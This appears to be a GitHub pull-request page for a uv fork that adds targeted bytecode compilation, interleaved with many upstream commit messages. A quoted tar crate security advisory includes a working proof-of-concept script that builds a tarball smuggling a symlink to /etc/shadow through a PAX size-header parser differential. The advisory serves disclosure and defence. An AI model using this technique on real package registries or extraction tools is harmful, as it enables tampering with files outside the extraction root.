Only compile bytecode for newly installed packages#1
Open
Only compile bytecode for newly installed packages#1
Conversation
abcd779 to
71b2840
Compare
3 tasks
<!-- Thank you for contributing to uv! To help us out with reviewing, please consider the following: - Does this pull request include a summary of the change? (See below.) - Does this pull request include a descriptive title? - Does this pull request include references to any relevant issues? --> ## Summary <!-- What's the purpose of the change? What does it do, and why? --> Both `build_backend::tool_uv_build_backend_without_build_backend` and `build_backend::tool_uv_build_backend_wrong_build_backend` fail in offline environments because they try to download a build backend from PyPI. This PR conditionalizes both tests on the existing `test-pypi` feature. ## Test Plan <!-- How was it tested? --> Applied as a downstream patch to Fedora’s `uv` package.
## Summary Add a `--outdated` flag that queries PyPI for the latest version of each installed tool and filters the output to only show tools with available updates. Each outdated tool is displayed with its installed version and a `[latest: X.Y.Z]` annotation. The implementation reuses the existing `LatestClient` infrastructure from `pip list --outdated`, fetching versions concurrently with progress reporting. Up-to-date tools are omitted from the output. A `--no-outdated` hidden flag is included for flag negation consistency. Fixes astral-sh#9309 ## Test Plan A new integration test has been created in `crates/uv/tests/it/tool_list.rs`, and the feature has also been tested locally. Signed-off-by: Mikaël Barbero <mikael.barbero@eclipse-foundation.org> Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
…dows version (astral-sh#18383) ## Summary In astral-sh#18324, sys-info-rs was dropped in favor of a more native reimplementation to provide OsType and OsRelease. This PR adjusts two areas for windows to match closely previous behavior: 1. OsType should be `Windows` rather than `Windows_NT` astral-sh#18324 (comment) as seen in https://github.com/FillZpp/sys-info-rs/blob/60ecf1470a5b7c90242f429934a3bacb6023ec4d/c/windows.c#L12. This also matches the output of `platform.system()` in CPython. 2. OsRelease previously used `GetVersionEx` in sys-info-rs. Looking closely, this was used primarily in `crates/uv-python/src/interpreter.rs` and not in linehaul as linehaul uses `platform.release()`. The problem with `GetVersionEx` is that it returns often the wrong version due to legacy reasons (e.g. may be stuck returning `6.2.9200`). The current implementation only returns the build number from the registry which is prone to problems across windows older variants. The implementation should use `RtlGetVersion` system call which returns the current major, minor, build in the same way as reported by `sys.getwindowsversion()` in CPython. In order to strike balance, this switches the implementation to use four octects `{major}.{minor}.{build}.{revision}` as recent windows versioning relies on major, build and revision where as older versions rely on major, minor and service pack. A windows-version crate by the same author as windows-rs was added as it includes the correct system calls for the windows versions. ## Test Plan Tested manually on both Windows desktop (10, 11) and Windows Server (2016).
…al-sh#18315) This policy is derived from https://github.com/ghostty-org/ghostty/blob/main/AI_POLICY.md: We have the problem that there are autonomous contributions, or users trying to get the LLM to solve the hard problems, where it usually fails. I've kept the section intentionally concise without laying out all the branches of valid and invalid LLM usage. For example, it's totally possible to first have the LLM write the change, review that, then develop a design from that and iterate on it and in the end have a fully human-understood PR. What I want to discourage is that contributors think they can outsource e.g. the hard algorithmic parts to the LLM, without understanding the existing structure, where the LLM currently inevitably fails. --------- Co-authored-by: Tomasz Kramkowski <tom@astral.sh>
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [windows-version](https://redirect.github.com/microsoft/windows-rs) | workspace.dependencies | patch | `0.1.6` → `0.1.7` | --- ### Configuration 📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/astral-sh/uv). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My41OS4wIiwidXBkYXRlZEluVmVyIjoiNDMuNTkuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates: | Package | Update | Change | Pending | |---|---|---|---| | [msrv](https://redirect.github.com/rust-lang/rust) | minor | `1.91` → `1.92.0` | `1.94.0` (+2) | --- ### Release Notes <details> <summary>rust-lang/rust (msrv)</summary> ### [`v1.92.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1920-2025-12-11) [Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.91.1...1.92.0) \========================== <a id="1.92.0-Language"></a> ## Language - [Document `MaybeUninit` representation and validity](https://redirect.github.com/rust-lang/rust/pull/140463) - [Allow `&raw [mut | const]` for union field in safe code](https://redirect.github.com/rust-lang/rust/pull/141469) - [Prefer item bounds of associated types over where-bounds for auto-traits and `Sized`](https://redirect.github.com/rust-lang/rust/pull/144064) - [Do not materialize `X` in `[X; 0]` when `X` is unsizing a const](https://redirect.github.com/rust-lang/rust/pull/145277) - [Support combining `#[track_caller]` and `#[no_mangle]` (requires every declaration specifying `#[track_caller]` as well)](https://redirect.github.com/rust-lang/rust/pull/145724) - [Make never type lints `never_type_fallback_flowing_into_unsafe` and `dependency_on_unit_never_type_fallback` deny-by-default](https://redirect.github.com/rust-lang/rust/pull/146167) - [Allow specifying multiple bounds for same associated item, except in trait objects](https://redirect.github.com/rust-lang/rust/pull/146593) - [Slightly strengthen higher-ranked region handling in coherence](https://redirect.github.com/rust-lang/rust/pull/146725) - [The `unused_must_use` lint no longer warns on `Result<(), Uninhabited>` (for instance, `Result<(), !>`), or `ControlFlow<Uninhabited, ()>`](https://redirect.github.com/rust-lang/rust/pull/147382). This avoids having to check for an error that can never happen. <a id="1.92.0-Compiler"></a> ## Compiler - [Make `mips64el-unknown-linux-muslabi64` link dynamically](https://redirect.github.com/rust-lang/rust/pull/146858) - [Remove current code for embedding command-line args in PDB](https://redirect.github.com/rust-lang/rust/pull/147022) Command-line information is typically not needed by debugging tools, and the removed code was causing problems for incremental builds even on targets that don't use PDB debuginfo. <a id="1.92.0-Libraries"></a> ## Libraries - [Specialize `Iterator::eq{_by}` for `TrustedLen` iterators](https://redirect.github.com/rust-lang/rust/pull/137122) - [Simplify `Extend` for tuples](https://redirect.github.com/rust-lang/rust/pull/138799) - [Added details to `Debug` for `EncodeWide`](https://redirect.github.com/rust-lang/rust/pull/140153). - [`iter::Repeat::last`](https://redirect.github.com/rust-lang/rust/pull/147258) and [`count`](https://redirect.github.com/rust-lang/rust/pull/146410) will now panic, rather than looping infinitely. <a id="1.92.0-Stabilized-APIs"></a> ## Stabilized APIs - [`NonZero<u{N}>::div_ceil`](https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.div_ceil) - [`Location::file_as_c_str`](https://doc.rust-lang.org/stable/std/panic/struct.Location.html#method.file_as_c_str) - [`RwLockWriteGuard::downgrade`](https://doc.rust-lang.org/stable/std/sync/struct.RwLockWriteGuard.html#method.downgrade) - [`Box::new_zeroed`](https://doc.rust-lang.org/stable/std/boxed/struct.Box.html#method.new_zeroed) - [`Box::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/boxed/struct.Box.html#method.new_zeroed_slice) - [`Rc::new_zeroed`](https://doc.rust-lang.org/stable/std/rc/struct.Rc.html#method.new_zeroed) - [`Rc::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/rc/struct.Rc.html#method.new_zeroed_slice) - [`Arc::new_zeroed`](https://doc.rust-lang.org/stable/std/sync/struct.Arc.html#method.new_zeroed) - [`Arc::new_zeroed_slice`](https://doc.rust-lang.org/stable/std/sync/struct.Arc.html#method.new_zeroed_slice) - [`btree_map::Entry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/btree_map/enum.Entry.html#method.insert_entry) - [`btree_map::VacantEntry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/btree_map/struct.VacantEntry.html#method.insert_entry) - [`impl Extend<proc_macro::Group> for proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CGroup%3E-for-TokenStream) - [`impl Extend<proc_macro::Literal> for proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CLiteral%3E-for-TokenStream) - [`impl Extend<proc_macro::Punct> for proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CPunct%3E-for-TokenStream) - [`impl Extend<proc_macro::Ident> for proc_macro::TokenStream`](https://doc.rust-lang.org/stable/proc_macro/struct.TokenStream.html#impl-Extend%3CIdent%3E-for-TokenStream) These previously stable APIs are now stable in const contexts: - [`<[_]>::rotate_left`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.rotate_left) - [`<[_]>::rotate_right`](https://doc.rust-lang.org/stable/std/primitive.slice.html#method.rotate_right) <a id="1.92.0-Cargo"></a> ## Cargo - [Added a new chapter](https://redirect.github.com/rust-lang/cargo/issues/16119) to the Cargo book, ["Optimizing Build Performance"](https://doc.rust-lang.org/stable/cargo/guide/build-performance.html). <a id="1.92.0-Rustdoc"></a> ## Rustdoc - [If a trait item appears in rustdoc search, hide the corresponding impl items](https://redirect.github.com/rust-lang/rust/pull/145898). Previously a search for "last" would show both `Iterator::last` as well as impl methods like `std::vec::IntoIter::last`. Now these impl methods will be hidden, freeing up space for inherent methods like `BTreeSet::last`. - [Relax rules for identifiers in search](https://redirect.github.com/rust-lang/rust/pull/147860). Previously you could only search for identifiers that were valid in rust code, now searches only need to be valid as part of an identifier. For example, you can now perform a search that starts with a digit. <a id="1.92.0-Compatibility-Notes"></a> ## Compatibility Notes - [Fix backtraces with `-C panic=abort` on Linux by generating unwind tables by default](https://redirect.github.com/rust-lang/rust/pull/143613). Build with `-C force-unwind-tables=no` to keep omitting unwind tables. * As part of the larger effort refactoring compiler built-in attributes and their diagnostics, [the future-compatibility lint `invalid_macro_export_arguments` is upgraded to deny-by-default and will be reported in dependencies too.](https://redirect.github.com/rust-lang/rust/pull/143857) * [Update the minimum external LLVM to 20](https://redirect.github.com/rust-lang/rust/pull/145071) * [Prevent downstream `impl DerefMut for Pin<LocalType>`](https://redirect.github.com/rust-lang/rust/pull/145608) * [Don't apply temporary lifetime extension rules to the arguments of non-extended `pin!` and formatting macros](https://redirect.github.com/rust-lang/rust/pull/145838) </details> --- ### Configuration 📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/astral-sh/uv). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My41OS4wIiwidXBkYXRlZEluVmVyIjoiNDMuNTkuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [actions/attest-build-provenance](https://redirect.github.com/actions/attest-build-provenance) | action | major | `v3.2.0` → `v4.1.0` | --- ### Release Notes <details> <summary>actions/attest-build-provenance (actions/attest-build-provenance)</summary> ### [`v4.1.0`](https://redirect.github.com/actions/attest-build-provenance/releases/tag/v4.1.0) [Compare Source](https://redirect.github.com/actions/attest-build-provenance/compare/v4.0.0...v4.1.0) > \[!NOTE] > As of version 4, `actions/attest-build-provenance` is simply a wrapper on top of [`actions/attest`](https://redirect.github.com/actions/attest). > > Existing applications may continue to use the `attest-build-provenance` action, but new implementations should use `actions/attest` instead. #### What's Changed - Update RELEASE.md docs by [@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in [#&astral-sh#8203;836](https://redirect.github.com/actions/attest-build-provenance/pull/836) - Bump `actions/attest` from 4.0.0 to 4.1.0 by [@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in [#&astral-sh#8203;838](https://redirect.github.com/actions/attest-build-provenance/pull/838) - Bump `@actions/attest` from 3.0.0 to 3.1.0 by [@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in [actions/attest#362](https://redirect.github.com/actions/attest/pull/362) - Bump `@actions/attest` from 3.1.0 to 3.2.0 by [@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in [actions/attest#365](https://redirect.github.com/actions/attest/pull/365) - Add new `subject-version` input for inclusion in storage record by [@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in [actions/attest#364](https://redirect.github.com/actions/attest/pull/364) - Add storage record content to README by [@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in [actions/attest#366](https://redirect.github.com/actions/attest/pull/366) **Full Changelog**: <actions/attest-build-provenance@v4.0.0...v4.1.0> ### [`v4.0.0`](https://redirect.github.com/actions/attest-build-provenance/releases/tag/v4.0.0) [Compare Source](https://redirect.github.com/actions/attest-build-provenance/compare/v3.2.0...v4.0.0) > \[!NOTE] > As of version 4, `actions/attest-build-provenance` is simply a wrapper on top of [`actions/attest`](https://redirect.github.com/actions/attest). > > Existing applications may continue to use the `attest-build-provenance` action, but new implementations should use `actions/attest` instead. #### What's Changed - Prepare v4 release by [@&astral-sh#8203;bdehamer](https://redirect.github.com/bdehamer) in [#&astral-sh#8203;835](https://redirect.github.com/actions/attest-build-provenance/pull/835) **Full Changelog**: <actions/attest-build-provenance@v3.2.0...v4.0.0> </details> --- ### Configuration 📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/astral-sh/uv). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My41OS4wIiwidXBkYXRlZEluVmVyIjoiNDMuNTkuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Closes astral-sh#18361. --------- Co-authored-by: konsti <konstin@mailbox.org> Co-authored-by: Tomasz Kramkowski <tom@astral.sh>
## Summary This adds some initial output/report formatting for `uv audit`. This is an initial blush, any feedback to align this with rendering/formatting idioms elsewhere would be greatly appreciated! Atop astral-sh#18119. ## Test Plan None yet. --------- Signed-off-by: William Woodruff <william@astral.sh>
## Summary This adds links to `uv audit`'s outputs. This required adding links to the backing (common) Vulnerability type and pulling them from the OSV service. OSV will always produce a link for a Vulnerability (since the ID itself can be turned into a link), but `Vulnerability::link` itself is optional since other services may not necessarily guarantee this. Follows astral-sh#18193. ## Test Plan None yet. --------- Signed-off-by: William Woodruff <william@astral.sh>
…#18228) ## Summary Closes astral-sh#16063 ## Test Plan Test on GitHub Actions: https://github.com/astral-sh/uv/actions/runs/22535106542/job/65281038532?pr=18228
## Summary The metadata cache used `VersionId` as a key, which meant that if a package-version existed on two different indexes, we assumed identical metadata. This turns out not to be true in some contexts, e.g., for the linked issue with PyTorch. We now key it on `DistributionId`, which does include the index. Closes astral-sh#17732.
…ystem (astral-sh#18389) Resolves astral-sh#18388 When a workspace member declares `[project.scripts]` without a `[build-system]` table or `tool.uv.package = true`, uv silently skips installing those entry points. The warning that normally fires for the root project was never emitted for non-root workspace members, because the check only inspected the workspace root's `pyproject.toml`. This diff replaces the single-project check with a loop over all workspace members, so the warning fires for any member that has scripts but is not packaged. The warning message now includes the package name to make it actionable when multiple members are involved.
## Summary This switches us to OSV's batch query API for vulnerability ID lookups, which can then be used to concurrently fetch the actual full finding responses. In my local testing, this yields significant speedups: from 23s on main (before this PR) with a small project (~70 deps) to 950ms with this PR. ~~WIP, I want to think through this approach a little more.~~ See astral-sh#18119 ## Test Plan Added new unit tests. --------- Signed-off-by: William Woodruff <william@astral.sh>
## Summary Follows astral-sh#18394. This plumbs the actual concurrency settings (rather than their default) and removes the default impl for `Osv`. ## Test Plan NFC. Signed-off-by: William Woodruff <william@astral.sh>
…sh#18399) ## Summary `uv tool install --force` will now always recreate the environment, which I find more intuitive (and makes it a more reliable escape hatch). Closes astral-sh#17907.
…-sh#18396) ## Summary We now take cache keys and timestamps into account when reusing environments via `--with`, etc. Closes astral-sh#16617.
When `--config-file` or `UV_CONFIG_FILE` is used, emit a `DEBUG` message after logging is initialized so users can verify which configuration file is active. The existing debug log in `FilesystemOptions::from_file()` fires before the tracing subscriber is registered, so it is silently dropped. Closes astral-sh#17182 --------- Co-authored-by: konstin <konstin@mailbox.org>
## Summary I was [working on addressing feedback and some issues I spotted in the centralised environments PR](https://www.youtube.com/watch?v=5W4NFcamRhM) and I noticed that this wrapper type was unnecessary to achieve the desired result. ## Test Plan Existing tests.
Created at https://github.com/astral-sh/termux-python Termux's package repositories seem to be horribly unstable.
…as no token (astral-sh#18425) Co-authored-by: Zsolt Dollenstein <zsol.zsol@gmail.com>
Hopefully, this means we will get consistent hardware and improve stability
Co-authored-by: Claude <noreply@anthropic.com>
Automated update for Python releases. Co-authored-by: zanieb <2586601+zanieb@users.noreply.github.com>
I'm honestly not sure what the root cause is here but I'm going to merge to unblock `main` which is otherwise broken.
Otherwise, we build uv from source which is not desirable. Co-authored-by: Claude <noreply@anthropic.com>
) ## Summary Closes astral-sh#18522.
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [tar](https://redirect.github.com/alexcrichton/tar-rs) | workspace.dependencies | patch | `0.4.44` → `0.4.45` | ### GitHub Vulnerability Alerts #### [CVE-2026-33056](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-j4xf-2g29-59ph) ## Summary When unpacking a tar archive, the `tar` crate's `unpack_dir` function uses `fs::metadata()` to check whether a path that already exists is a directory. Because `fs::metadata()` follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply `chmod` to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root. ## Reproducer A malicious tarball contains two entries: (1) a symlink `foo` pointing to an arbitrary external directory, and (2) a directory entry `foo/.` (or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST` because the symlink is already on disk. The `fs::metadata()` check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via `chmod`, which also follows the symlink — modifying the permissions of the external target directory. ## Fix The fix is very simple, we now use `fs::symlink_metadata()` in `unpack_dir`, so symlinks are detected and rejected rather than followed. ## Credit This issue was reported by @&astral-sh#8203;xokdvium - thank you! #### [CVE-2026-33055](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff) ### Summary As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue. The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override. ### Details https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ### PoC (originally posted by https://github.com/xokdvium) > I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links: It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`. https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ```python #!/usr/bin/env python3 B = 512 def pad(d): r = len(d) % B return d + b"\0" * (B - r) if r else d def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h) INFLATED = 2048 pax_rec = b"13 size=2048\n" ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x") ar += pad(pax_rec) content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content) ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" * B * 2 used = len(ar) - mark if used < INFLATED: ar += b"\0" * (((INFLATED - used + B - 1) // B) * B) ar += b"\0" * B * 2 open("smuggle.tar", "wb").write(bytes(ar)) ``` `tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it). ```rust use std::fs; use std::path::PathBuf; fn sync_parse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } async fn async_parse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokio_tar::Archive::new(data.as_slice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } #[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into()); let data = fs::read(&path).unwrap(); sync_parse(&data); async_parse(data).await; } ``` ``` tar: regular.txt Regular smuggled Symlink -> /etc/shadow astral-tokio-tar: regular.txt Regular ``` ### Impact This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`. --- ### Release Notes <details> <summary>alexcrichton/tar-rs (tar)</summary> ### [`v0.4.45`](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45) [Compare Source](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/astral-sh/uv). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiaW50ZXJuYWwiLCJzZWN1cml0eSJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Instead of walking the entire site-packages directory and recompiling every .py file, read each installed distribution's RECORD file to find the specific .py files that were just installed, and compile only those. This uses RECORD (the same source of truth the uninstaller uses) rather than guessing directory names from package names, which would break for packages like Pillow (installs to PIL/), PyYAML (yaml/), etc. When --compile is requested but nothing was installed, falls back to full site-packages compilation to handle the case where packages were previously installed without --compile. Closes astral-sh#2637 Fixes astral-sh#12202 Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Extract `parse_compile_timeout()` and `spawn_workers_and_wait()` from `compile_tree` to eliminate duplication between `compile_tree` and `compile_files` - Reuse existing `find_dist_info` from `uv-install-wheel` (made `pub`) instead of a custom `find_dist_info_dir` in mod.rs - No behavioral changes Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
f48d0b3 to
38043a6
Compare
Replace depot-ubuntu-* and ubuntu-slim with ubuntu-latest (and depot-macos-14 with macos-14) so CI runs on fork without Depot. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Make minix filesystem mount non-fatal (not available on ubuntu-latest) - Replace paid/large runners with standard GitHub-hosted runners - Windows: github-windows-2025-x86_64-16 → windows-latest - macOS: macos-latest-large → macos-latest - Ubuntu: github-ubuntu-24.04-x86_64-8 → ubuntu-latest Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- github-ubuntu-24.04-aarch64-2 → ubuntu-latest - windows-11-arm → windows-latest Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
6 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
site-packagesdirectory and recompiling every.pyfile on--compile-bytecode, read each installed distribution'sRECORDfile to find the specific.pyfiles that were just installed, and compile only those.PIL/), PyYAML (yaml/), etc.--compileis requested but nothing was installed, falls back to full site-packages compilation (preservesuv pip sync --compilebehavior for already-installed packages).uv run --compile-bytecodere-compilation issue (uv runrepeatedly compiles bytecode withUV_COMPILE_BYTECODE=1astral-sh/uv#12202) — if nothing was installed, the file list is empty and compilation is skipped.Closes astral-sh#2637
Fixes astral-sh#12202
Test plan
pip_sync::compiletest passes (updated snapshot: 2 files for targeted vs 3 for full walk)pip_sync::recompiletest passes (fallback to full compilation when nothing installed)pip_sync::compile_incrementaltest: install A with--compile, add B with--compile, verify only B's files are compiledpip_synctests pass (1 skip for missing Python 3.8)show_settingstests passuv-devcrate compiles (uses unchangedcompile_tree)🤖 Generated with Claude Code